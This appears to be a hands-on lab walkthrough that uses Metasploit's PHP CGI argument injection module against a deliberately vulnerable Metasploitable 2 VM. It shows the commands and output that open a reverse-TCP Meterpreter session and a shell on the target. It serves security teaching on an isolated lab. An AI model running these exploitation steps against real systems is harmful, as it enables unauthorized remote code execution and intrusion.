# Apache (CGI Argument Injection)

## Apache (CGI Argument Injection)

**Note**: these labs are extremely oriented to the results, using a step-by-step guidance. During your progress, try to find more information and understand what you are doing.

## Requirements

| Kali Linux               | The Kali Linux VM (or any other type of installation)                                                                   |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------- |
| Metaploitable 2          | The Metasploitable 2 VM                                                                                                 |
| Metasploitable Framework | Metasploit Framework toolset (installed on Kali Linux by default)                                                       |
| Metasploitable 2 IP      | The IP address of the Metasploitable 2 VM. In my case it is 192.168.8.142. This may be different in your specific case. |
| Kali Linux IP            | The IP address of the Kali Linux machine. In my case it is 192.168.8.147. This may be different in your specific case.  |

## Laboratory Workflow

The following describe the different steps to be conducted during the laboratory. You may introduce variations on this and learn from those variations.

#### 1. Launch the Metasploit Framework

`msfconsole`

#### 2. Use the module

`use exploit/multi/http/php_cgi_arg_injection`

`set PAYLOAD php/meterpreter/reverse_tcp` (this may be optional if your already have a payload configured when you select the module)

#### 3. Check the module options

`options`

```
Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.8.147    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

#### 4. Set the appropriate options

`set RHOSTS 192.168.8.142`

`set LHOST 192.168.8.147`

```
RHOSTS => 192.168.8.142
LHOST => 192.168.8.147
```

#### 5. Run the exploit

`exploit`

```
[*] Started reverse TCP handler on 192.168.8.147:4444 
[*] Sending stage (39927 bytes) to 192.168.8.142

[*] Meterpreter session 3 opened (192.168.8.147:4444 -> 192.168.8.142:56211) at 2023-03-28 19:13:46 -0400

meterpreter >
```

#### 6. Meterpreter session

Now you have a **meterpreter** session opened. This session will allow you to interact with the target.

```
meterpreter >
```

#### 7. Open a shell on the target machine

`shell`

```
meterpreter > shell
Process 1 created.
Channel 1 created.
```

## Video

Video that resumes everything on this laboratory.

![](https://1253238579-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfPBLecZWemt5xh9AWf0x%2Fuploads%2Fgit-blob-499f9f74b8f39ee07d74dab79a3ede57aa7e3621%2Fapache.gif?alt=media)

## Questions

Now that you have completed this exploitation try to answer to following:

1. Now, what can I do with the exploitation achieved?
2. Which type of privileges do I have on the exploited target?
3. How was this accomplished?
4. Try to learn more about this vulnerability.
